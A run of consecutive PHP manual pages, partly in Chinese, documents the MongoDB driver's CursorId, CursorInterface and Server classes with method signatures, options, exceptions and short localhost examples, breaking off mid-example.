  • PHP Manual
  • MongoDB\Driver\CursorId
  • String representation of the cursor ID

MongoDB\Driver\CursorId::__toString

(mongodb >=1.0.0)

MongoDB\Driver\CursorId::__toString — String representation of the cursor ID

说明

final public MongoDB\Driver\CursorId::__toString(): string

Returns the string representation of the cursor ID.

参数

此函数没有参数。

返回值

Returns the string representation of the cursor ID.

示例

Example #1 MongoDB\Driver\CursorId::__toString() example

<?php

/* In this example, we insert several documents into the collection and specify
* a smaller batchSize to ensure that the first batch contains only a subset of
* our results and the cursor remains open on the server. */
$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$query = new MongoDB\Driver\Query([], ['batchSize' => 2]);

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->insert(['x' => 2]);
$bulk->insert(['x' => 3]);
$manager->executeBulkWrite('db.collection', $bulk);

$cursor = $manager->executeQuery('db.collection', $query);
var_dump((string) $cursor->getId());

?>

以上示例的输出类似于：

string(11) "98061641158"

参见

  • MongoDB\Driver\Cursor::getId() - Returns the ID for this cursor

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a CursorId

  • ? MongoDB\Driver\CursorId::__toString
  • MongoDB\Driver\CursorInterface ?
  • PHP Manual
  • MongoDB\Driver\CursorId
  • Unserialize a CursorId

MongoDB\Driver\CursorId::unserialize

(mongodb >=1.7.0)

MongoDB\Driver\CursorId::unserialize — Unserialize a CursorId

说明

final public MongoDB\Driver\CursorId::unserialize(string $data): void

参数

data

The serialized MongoDB\Driver\CursorId.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参见

  • MongoDB\Driver\CursorId::serialize() - Serialize a CursorId
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\CursorInterface interface

(mongodb >=1.6.0)

简介

This interface is implemented by MongoDB\Driver\Cursor to be used as a parameter, return, or property type in userland classes.

类摘要

class MongoDB\Driver\CursorInterface implements Traversable {
/* 方法 */
abstract public getId(): MongoDB\Driver\CursorId
abstract public getServer(): MongoDB\Driver\Server
abstract public isDead(): bool
abstract public setTypeMap(array $typemap): void
abstract public toArray(): array
}

更新日志

版本 | 说明
PECL mongodb 1.15.0 | Return types for methods are declared as tentative on PHP 8.0 and newer, triggering deprecation notices in code that implements this interface without declaring the appropriate return types. The #[ReturnTypeWillChange] attribute can be added to silence the deprecation notice.

Table of Contents

  • MongoDB\Driver\CursorInterface::getId — Returns the ID for this cursor
  • MongoDB\Driver\CursorInterface::getServer — Returns the server associated with this cursor
  • MongoDB\Driver\CursorInterface::isDead — Checks if the cursor may have additional results
  • MongoDB\Driver\CursorInterface::setTypeMap — Sets a type map to use for BSON unserialization
  • MongoDB\Driver\CursorInterface::toArray — Returns an array containing all results for this cursor

User Contributed Notes

There are no user contributed notes for this page.


Returns the ID for this cursor

  • ? MongoDB\Driver\CursorInterface
  • MongoDB\Driver\CursorInterface::getServer ?
  • PHP Manual
  • MongoDB\Driver\CursorInterface
  • Returns the ID for this cursor

MongoDB\Driver\CursorInterface::getId

(mongodb >=1.6.0)

MongoDB\Driver\CursorInterface::getId — Returns the ID for this cursor

说明

abstract public MongoDB\Driver\CursorInterface::getId(): MongoDB\Driver\CursorId

Returns the MongoDB\Driver\CursorId associated with this cursor. A cursor ID uniquely identifies the cursor on the server.

参数

此函数没有参数。

返回值

Returns the MongoDB\Driver\CursorId for this cursor.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Cursor::getId() - Returns the ID for this cursor
  • MongoDB\Driver\CursorId
  • MongoDB\Driver\CursorId::__toString() - String representation of the cursor ID

User Contributed Notes

There are no user contributed notes for this page.


Returns the server associated with this cursor

  • ? MongoDB\Driver\CursorInterface::getId
  • MongoDB\Driver\CursorInterface::isDead ?
  • PHP Manual
  • MongoDB\Driver\CursorInterface
  • Returns the server associated with this cursor

MongoDB\Driver\CursorInterface::getServer

(mongodb >=1.6.0)

MongoDB\Driver\CursorInterface::getServer — Returns the server associated with this cursor

说明

abstract public MongoDB\Driver\CursorInterface::getServer(): MongoDB\Driver\Server

Returns the MongoDB\Driver\Server associated with this cursor. This is the server that executed the MongoDB\Driver\Query or MongoDB\Driver\Command.

参数

此函数没有参数。

返回值

Returns the MongoDB\Driver\Server associated with this cursor.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Cursor::getServer() - Returns the server associated with this cursor
  • MongoDB\Driver\Server

User Contributed Notes

There are no user contributed notes for this page.


Checks if the cursor may have additional results

  • ? MongoDB\Driver\CursorInterface::getServer
  • MongoDB\Driver\CursorInterface::setTypeMap ?
  • PHP Manual
  • MongoDB\Driver\CursorInterface
  • Checks if the cursor may have additional results

MongoDB\Driver\CursorInterface::isDead

(mongodb >=1.6.0)

MongoDB\Driver\CursorInterface::isDead — Checks if the cursor may have additional results

说明

abstract public MongoDB\Driver\CursorInterface::isDead(): bool

Checks whether the cursor may have additional results available to read. A cursor is initially "alive" but may become "dead" for any of the following reasons:

  • Advancing a non-tailable cursor did not return a document
  • The cursor encountered an error
  • The cursor read its last batch to completion
  • The cursor reached its configured limit
This is primarily useful with tailable cursors.

参数

此函数没有参数。

返回值

Returns true if additional results are not available, and false otherwise.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Cursor::isDead() - Checks if the cursor is exhausted or may have additional results

User Contributed Notes

There are no user contributed notes for this page.


Sets a type map to use for BSON unserialization

  • ? MongoDB\Driver\CursorInterface::isDead
  • MongoDB\Driver\CursorInterface::toArray ?
  • PHP Manual
  • MongoDB\Driver\CursorInterface
  • Sets a type map to use for BSON unserialization

MongoDB\Driver\CursorInterface::setTypeMap

(mongodb >=1.6.0)

MongoDB\Driver\CursorInterface::setTypeMap — Sets a type map to use for BSON unserialization

说明

abstract public MongoDB\Driver\CursorInterface::setTypeMap(array $typemap): void

Sets the type map configuration to use when unserializing the BSON results into PHP values.

参数

typeMap (array)

Type map configuration.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Cursor::setTypeMap() - Sets a type map to use for BSON unserialization
  • Persisting Data

User Contributed Notes

There are no user contributed notes for this page.


Returns an array containing all results for this cursor

  • ? MongoDB\Driver\CursorInterface::setTypeMap
  • MongoDB\Driver\Server ?
  • PHP Manual
  • MongoDB\Driver\CursorInterface
  • Returns an array containing all results for this cursor

MongoDB\Driver\CursorInterface::toArray

(mongodb >=1.6.0)

MongoDB\Driver\CursorInterface::toArray — Returns an array containing all results for this cursor

说明

abstract public MongoDB\Driver\CursorInterface::toArray(): array

Iterates the cursor and returns its results in an array. MongoDB\Driver\CursorInterface::setTypeMap() may be used to control how documents are unserialized into PHP values.

参数

此函数没有参数。

返回值

Returns an array containing all results for this cursor.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Cursor::toArray() - Returns an array containing all results for this cursor
  • MongoDB\Driver\CursorInterface::setTypeMap() - Sets a type map to use for BSON unserialization

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Server class

(mongodb >=1.0.0)

简介

类摘要

final class MongoDB\Driver\Server {
/* 常量 */
const int TYPE_UNKNOWN = 0;
const int TYPE_STANDALONE = 1;
const int TYPE_MONGOS = 2;
const int TYPE_POSSIBLE_PRIMARY = 3;
const int TYPE_RS_PRIMARY = 4;
const int TYPE_RS_SECONDARY = 5;
const int TYPE_RS_ARBITER = 6;
const int TYPE_RS_OTHER = 7;
const int TYPE_RS_GHOST = 8;
const int TYPE_LOAD_BALANCER = 9;
/* 方法 */
final private __construct()
final public executeBulkWrite(string $namespace, MongoDB\Driver\BulkWrite $bulk, array|MongoDB\Driver\WriteConcern|null $options = null): MongoDB\Driver\WriteResult
final public executeCommand(string $db, MongoDB\Driver\Command $command, array|MongoDB\Driver\ReadPreference|null $options = null): MongoDB\Driver\Cursor
final public executeQuery(string $namespace, MongoDB\Driver\Query $query, array|MongoDB\Driver\ReadPreference|null $options = null): MongoDB\Driver\Cursor
final public executeReadCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor
final public executeReadWriteCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor
final public executeWriteCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor
final public getHost(): string
final public getInfo(): array
final public getLatency(): ?integer
final public getPort(): int
final public getServerDescription(): MongoDB\Driver\ServerDescription
final public getTags(): array
final public getType(): int
final public isArbiter(): bool
final public isHidden(): bool
final public isPassive(): bool
final public isPrimary(): bool
final public isSecondary(): bool
}

预定义常量

MongoDB\Driver\Server::TYPE_UNKNOWN

Unknown server type, returned by MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_STANDALONE

Standalone server type, returned by MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_MONGOS

Mongos server type, returned by MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_POSSIBLE_PRIMARY

Replica set possible primary server type, returned by MongoDB\Driver\Server::getType().

A server may be identified as a possible primary if it has not yet been checked but another memory of the replica set thinks it is the primary.

MongoDB\Driver\Server::TYPE_RS_PRIMARY

Replica set primary server type, returned by MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_RS_SECONDARY

Replica set secondary server type, returned by MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_RS_ARBITER

Replica set arbiter server type, returned by MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_RS_OTHER

Replica set other server type, returned by MongoDB\Driver\Server::getType().

Such servers may be hidden, starting up, or recovering. They cannot be queried, but their hosts lists are useful for discovering the current replica set configuration.

MongoDB\Driver\Server::TYPE_RS_GHOST

Replica set ghost server type, returned by MongoDB\Driver\Server::getType().

Servers may be identified as such in at least three situations: briefly during server startup; in an uninitialized replica set; or when the server is shunned (i.e. removed from the replica set config). They cannot be queried, nor can their host list be used to discover the current replica set configuration; however, the client may monitor this server in hope that it transitions to a more useful state.

MongoDB\Driver\Server::TYPE_LOAD_BALANCER

Load balancer server type, returned by MongoDB\Driver\Server::getType().

更新日志

版本 | 说明
PECL mongodb 1.11.0 | Added the MongoDB\Driver\Server::TYPE_LOAD_BALANCER constant.

Table of Contents

  • MongoDB\Driver\Server::__construct — Create a new Server (not used)
  • MongoDB\Driver\Server::executeBulkWrite — Execute one or more write operations on this server
  • MongoDB\Driver\Server::executeCommand — Execute a database command on this server
  • MongoDB\Driver\Server::executeQuery — Execute a database query on this server
  • MongoDB\Driver\Server::executeReadCommand — Execute a database command that reads on this server
  • MongoDB\Driver\Server::executeReadWriteCommand — Execute a database command that reads and writes on this server
  • MongoDB\Driver\Server::executeWriteCommand — Execute a database command that writes on this server
  • MongoDB\Driver\Server::getHost — Returns the hostname of this server
  • MongoDB\Driver\Server::getInfo — Returns an array of information describing this server
  • MongoDB\Driver\Server::getLatency — Returns the latency of this server in milliseconds
  • MongoDB\Driver\Server::getPort — Returns the port on which this server is listening
  • MongoDB\Driver\Server::getServerDescription — Returns a ServerDescription for this server
  • MongoDB\Driver\Server::getTags — Returns an array of tags describing this server in a replica set
  • MongoDB\Driver\Server::getType — Returns an integer denoting the type of this server
  • MongoDB\Driver\Server::isArbiter — Checks if this server is an arbiter member of a replica set
  • MongoDB\Driver\Server::isHidden — Checks if this server is a hidden member of a replica set
  • MongoDB\Driver\Server::isPassive — Checks if this server is a passive member of a replica set
  • MongoDB\Driver\Server::isPrimary — Checks if this server is a primary member of a replica set
  • MongoDB\Driver\Server::isSecondary — Checks if this server is a secondary member of a replica set

User Contributed Notes

There are no user contributed notes for this page.


Create a new Server (not used)

  • ? MongoDB\Driver\Server
  • MongoDB\Driver\Server::executeBulkWrite ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Create a new Server (not used)

MongoDB\Driver\Server::__construct

(mongodb >=1.0.0)

MongoDB\Driver\Server::__construct — Create a new Server (not used)

说明

final private MongoDB\Driver\Server::__construct()

MongoDB\Driver\Server objects are created internally by MongoDB\Driver\Manager when a database connection is established and may be returned by MongoDB\Driver\Manager::getServers() and MongoDB\Driver\Manager::selectServer().

参数

此函数没有参数。

参见

  • MongoDB\Driver\Manager::getServers() - Return the servers to which this manager is connected
  • MongoDB\Driver\Manager::selectServer() - Select a server matching a read preference

User Contributed Notes

There are no user contributed notes for this page.


Execute one or more write operations on this server

  • ? MongoDB\Driver\Server::__construct
  • MongoDB\Driver\Server::executeCommand ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Execute one or more write operations on this server

MongoDB\Driver\Server::executeBulkWrite

(mongodb >=1.0.0)

MongoDB\Driver\Server::executeBulkWrite — Execute one or more write operations on this server

说明

final public MongoDB\Driver\Server::executeBulkWrite(string $namespace, MongoDB\Driver\BulkWrite $bulk, array|MongoDB\Driver\WriteConcern|null $options = null): MongoDB\Driver\WriteResult

Executes one or more write operations on this server.

A MongoDB\Driver\BulkWrite can be constructed with one or more write operations of varying types (e.g. updates, deletes, and inserts). The driver will attempt to send operations of the same type to the server in as few requests as possible to optimize round trips.

参数

namespace (string)

A fully qualified namespace (e.g. "databaseName.collectionName").

bulk (MongoDB\Driver\BulkWrite)

The write(s) to execute.

options

options
Option Type Description
session MongoDB\Driver\Session

A session to associate with the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

返回值

Returns MongoDB\Driver\WriteResult on success.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if bulk does not contain any write operations.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if bulk has already been executed. MongoDB\Driver\BulkWrite objects may not be executed multiple times.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used in combination with an unacknowledged write concern.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\BulkWriteException on any write failure (e.g. write error, failure to apply a write concern)
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors.

更新日志

版本 | 说明
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException will be thrown if the "session" option is used in combination with an unacknowledged write concern.
PECL mongodb 1.4.0 | The third parameter is now an options array. For backwards compatibility, this paramater will still accept a MongoDB\Driver\WriteConcern object.
PECL mongodb 1.3.0 | MongoDB\Driver\Exception\InvalidArgumentException is now thrown if bulk does not contain any write operations. Previously, a MongoDB\Driver\Exception\BulkWriteException was thrown.

注释

Note: It is the caller's responsibility to ensure that the server is capable of executing the write operation. For example, executing a write operation on a secondary (excluding its "local" database) will fail.

参见

  • MongoDB\Driver\BulkWrite
  • MongoDB\Driver\WriteResult
  • MongoDB\Driver\WriteConcern
  • MongoDB\Driver\Manager::executeBulkWrite() - Execute one or more write operations

User Contributed Notes

There are no user contributed notes for this page.


Execute a database command on this server

  • ? MongoDB\Driver\Server::executeBulkWrite
  • MongoDB\Driver\Server::executeQuery ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Execute a database command on this server

MongoDB\Driver\Server::executeCommand

(mongodb >=1.0.0)

MongoDB\Driver\Server::executeCommand — Execute a database command on this server

说明

final public MongoDB\Driver\Server::executeCommand(string $db, MongoDB\Driver\Command $command, array|MongoDB\Driver\ReadPreference|null $options = null): MongoDB\Driver\Cursor

Executes the command on this server.

This method applies no special logic to the command. Although this method accepts "readConcern" and "writeConcern" options, which will be incorporated into the command document, those options will not default to corresponding values from the MongoDB Connection URI nor will the MongoDB server version be taken into account. Users are therefore encouraged to use specific read and/or write command methods if possible.

Note: The "readPreference" option does not control the server to which the driver issues the operation; it will always be executed on this server object. Instead, it may be used when issuing the operation to a secondary (from a replica set connection, not standalone) or mongos node to ensure that the driver sets the wire protocol accordingly or adds the read preference to the operation, respectively.

参数

db (string)

The name of the database on which to execute the command.

command (MongoDB\Driver\Command)

The command to execute.

options

options
Option Type Description
readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

readPreference MongoDB\Driver\ReadPreference

A read preference to use for selecting a server for the operation.

session MongoDB\Driver\Session

A session to associate with the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

Warning

If you are using a "session" which has a transaction in progress, you cannot specify a "readConcern" or "writeConcern" option. This will result in an MongoDB\Driver\Exception\InvalidArgumentException being thrown. Instead, you should set these two options when you create the transaction with MongoDB\Driver\Session::startTransaction().

返回值

Returns MongoDB\Driver\Cursor on success.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used with an associated transaction in combination with a "readConcern" or "writeConcern" option.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used in combination with an unacknowledged write concern.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid command, issuing a write command to a secondary).

更新日志

版本 | 说明
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException will be thrown if the "session" option is used in combination with an unacknowledged write concern.
PECL mongodb 1.4.0 | The third parameter is now an options array. For backwards compatibility, this paramater will still accept a MongoDB\Driver\ReadPreference object.

注释

Note: It is the caller's responsibility to ensure that the server is capable of executing the write operation. For example, executing a write operation on a secondary (excluding its "local" database) will fail.

参见

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Server::executeReadCommand() - Execute a database command that reads on this server
  • MongoDB\Driver\Server::executeReadWriteCommand() - Execute a database command that reads and writes on this server
  • MongoDB\Driver\Server::executeWriteCommand() - Execute a database command that writes on this server
  • MongoDB\Driver\Manager::executeCommand() - Execute a database command

User Contributed Notes

There are no user contributed notes for this page.


Execute a database query on this server

  • ? MongoDB\Driver\Server::executeCommand
  • MongoDB\Driver\Server::executeReadCommand ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Execute a database query on this server

MongoDB\Driver\Server::executeQuery

(mongodb >=1.0.0)

MongoDB\Driver\Server::executeQuery — Execute a database query on this server

说明

final public MongoDB\Driver\Server::executeQuery(string $namespace, MongoDB\Driver\Query $query, array|MongoDB\Driver\ReadPreference|null $options = null): MongoDB\Driver\Cursor

Executes the query on this server.

Note: The "readPreference" option does not control the server to which the driver issues the operation; it will always be executed on this server object. Instead, it may be used when issuing the operation to a secondary (from a replica set connection, not standalone) or mongos node to ensure that the driver sets the wire protocol accordingly or adds the read preference to the operation, respectively.

参数

namespace (string)

A fully qualified namespace (e.g. "databaseName.collectionName").

query (MongoDB\Driver\Query)

The query to execute.

options

options
Option Type Description
readPreference MongoDB\Driver\ReadPreference

A read preference to use for selecting a server for the operation.

session MongoDB\Driver\Session

A session to associate with the operation.

返回值

Returns MongoDB\Driver\Cursor on success.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid query operators).

更新日志

版本 | 说明
PECL mongodb 1.4.0 | The third parameter is now an options array. For backwards compatibility, this paramater will still accept a MongoDB\Driver\ReadPreference object.

参见

  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Query
  • MongoDB\Driver\ReadPreference
  • MongoDB\Driver\Manager::executeQuery() - Execute a database query

User Contributed Notes

There are no user contributed notes for this page.


Execute a database command that reads on this server

  • ? MongoDB\Driver\Server::executeQuery
  • MongoDB\Driver\Server::executeReadWriteCommand ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Execute a database command that reads on this server

MongoDB\Driver\Server::executeReadCommand

(mongodb >=1.4.0)

MongoDB\Driver\Server::executeReadCommand — Execute a database command that reads on this server

说明

final public MongoDB\Driver\Server::executeReadCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor

Executes the command on this server.

This method will apply logic that is specific to commands that read (e.g. » count) and take the MongoDB server version into account. The "readConcern" option will default to the corresponding value from the MongoDB Connection URI.

Note: The "readPreference" option does not control the server to which the driver issues the operation; it will always be executed on this server object. Instead, it may be used when issuing the operation to a secondary (from a replica set connection, not standalone) or mongos node to ensure that the driver sets the wire protocol accordingly or adds the read preference to the operation, respectively.

参数

db (string)

The name of the database on which to execute the command.

command (MongoDB\Driver\Command)

The command to execute.

options

options
Option Type Description
readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

readPreference MongoDB\Driver\ReadPreference

A read preference to use for selecting a server for the operation.

session MongoDB\Driver\Session

A session to associate with the operation.

Warning

If you are using a "session" which has a transaction in progress, you cannot specify a "readConcern" or "writeConcern" option. This will result in an MongoDB\Driver\Exception\InvalidArgumentException being thrown. Instead, you should set these two options when you create the transaction with MongoDB\Driver\Session::startTransaction().

返回值

Returns MongoDB\Driver\Cursor on success.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used with an associated transaction in combination with a "readConcern" or "writeConcern" option.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid command).

参见

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Server::executeCommand() - Execute a database command on this server
  • MongoDB\Driver\Server::executeReadWriteCommand() - Execute a database command that reads and writes on this server
  • MongoDB\Driver\Server::executeWriteCommand() - Execute a database command that writes on this server
  • MongoDB\Driver\Manager::executeReadCommand() - Execute a database command that reads

User Contributed Notes

There are no user contributed notes for this page.


Execute a database command that reads and writes on this server

  • ? MongoDB\Driver\Server::executeReadCommand
  • MongoDB\Driver\Server::executeWriteCommand ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Execute a database command that reads and writes on this server

MongoDB\Driver\Server::executeReadWriteCommand

(mongodb >=1.4.0)

MongoDB\Driver\Server::executeReadWriteCommand — Execute a database command that reads and writes on this server

说明

final public MongoDB\Driver\Server::executeReadWriteCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor

Executes the command on this server.

This method will apply logic that is specific to commands that read and write (e.g. » aggregate) and take the MongoDB server version into account. The "readConcern" and "writeConcern" options will default to the corresponding values from the MongoDB Connection URI.

参数

db (string)

The name of the database on which to execute the command.

command (MongoDB\Driver\Command)

The command to execute.

options

options
Option Type Description
readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

session MongoDB\Driver\Session

A session to associate with the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

Warning

If you are using a "session" which has a transaction in progress, you cannot specify a "readConcern" or "writeConcern" option. This will result in an MongoDB\Driver\Exception\InvalidArgumentException being thrown. Instead, you should set these two options when you create the transaction with MongoDB\Driver\Session::startTransaction().

返回值

Returns MongoDB\Driver\Cursor on success.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used with an associated transaction in combination with a "readConcern" or "writeConcern" option.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used in combination with an unacknowledged write concern.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid command).

更新日志

版本 | 说明
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException will be thrown if the "session" option is used in combination with an unacknowledged write concern.

注释

Note: It is the caller's responsibility to ensure that the server is capable of executing the write operation. For example, executing a write operation on a secondary (excluding its "local" database) will fail.

参见

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Server::executeCommand() - Execute a database command on this server
  • MongoDB\Driver\Server::executeReadCommand() - Execute a database command that reads on this server
  • MongoDB\Driver\Server::executeWriteCommand() - Execute a database command that writes on this server
  • MongoDB\Driver\Manager::executeReadWriteCommand() - Execute a database command that reads and writes

User Contributed Notes

There are no user contributed notes for this page.


Execute a database command that writes on this server

  • ? MongoDB\Driver\Server::executeReadWriteCommand
  • MongoDB\Driver\Server::getHost ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Execute a database command that writes on this server

MongoDB\Driver\Server::executeWriteCommand

(mongodb >=1.4.0)

MongoDB\Driver\Server::executeWriteCommand — Execute a database command that writes on this server

说明

final public MongoDB\Driver\Server::executeWriteCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor

Executes the command on this server.

This method will apply logic that is specific to commands that write (e.g. » drop) and take the MongoDB server version into account. The "writeConcern" option will default to the corresponding value from the MongoDB Connection URI.

Note: This method is not intended to be used to execute » insert, » update, or » delete commands. Users are encouraged to use MongoDB\Driver\Server::executeBulkWrite() for those commands.

参数

db (string)

The name of the database on which to execute the command.

command (MongoDB\Driver\Command)

The command to execute.

options

options
Option Type Description
session MongoDB\Driver\Session

A session to associate with the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

Warning

If you are using a "session" which has a transaction in progress, you cannot specify a "readConcern" or "writeConcern" option. This will result in an MongoDB\Driver\Exception\InvalidArgumentException being thrown. Instead, you should set these two options when you create the transaction with MongoDB\Driver\Session::startTransaction().

返回值

Returns MongoDB\Driver\Cursor on success.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used with an associated transaction in combination with a "readConcern" or "writeConcern" option.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used in combination with an unacknowledged write concern.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid command).

更新日志

版本 | 说明
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException will be thrown if the "session" option is used in combination with an unacknowledged write concern.

注释

Note: It is the caller's responsibility to ensure that the server is capable of executing the write operation. For example, executing a write operation on a secondary (excluding its "local" database) will fail.

参见

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Server::executeCommand() - Execute a database command on this server
  • MongoDB\Driver\Server::executeReadCommand() - Execute a database command that reads on this server
  • MongoDB\Driver\Server::executeReadWriteCommand() - Execute a database command that reads and writes on this server
  • MongoDB\Driver\Manager::executeWriteCommand() - Execute a database command that writes

User Contributed Notes

There are no user contributed notes for this page.


Returns the hostname of this server

  • ? MongoDB\Driver\Server::executeWriteCommand
  • MongoDB\Driver\Server::getInfo ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Returns the hostname of this server

MongoDB\Driver\Server::getHost

(mongodb >=1.0.0)

MongoDB\Driver\Server::getHost — Returns the hostname of this server

说明

final public MongoDB\Driver\Server::getHost(): string

Returns the hostname of this server.

参数

此函数没有参数。

返回值

Returns the hostname of this server.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\Server::getHost() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017/");

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
$server = $manager->selectServer($rp);

var_dump($server->getHost());

?>

以上示例会输出：

string(9) "localhost"

参见

  • MongoDB\Driver\Server::getInfo() - Returns an array of information describing this server
  • MongoDB\Driver\ServerDescription::getHost() - Returns the hostname of this server

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of information describing this server

  • ? MongoDB\Driver\Server::getHost
  • MongoDB\Driver\Server::getLatency ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Returns an array of information describing this server

MongoDB\Driver\Server::getInfo

(mongodb >=1.0.0)

MongoDB\Driver\Server::getInfo — Returns an array of information describing this server

说明

final public MongoDB\Driver\Server::getInfo(): array

Returns an array of information describing the server. This array is derived from the most recent » hello command response obtained through » server monitoring.

Note:

When the driver is connected to a load balancer, this method will return the backing server's » hello command response from the initial connection handshake. This is in contrast to other methods (e.g. MongoDB\Driver\Server::getType()), which will return information about the load balancer itself.

参数

此函数没有参数。

返回值

Returns an array of information describing this server.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\Server::getInfo() example

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017/');

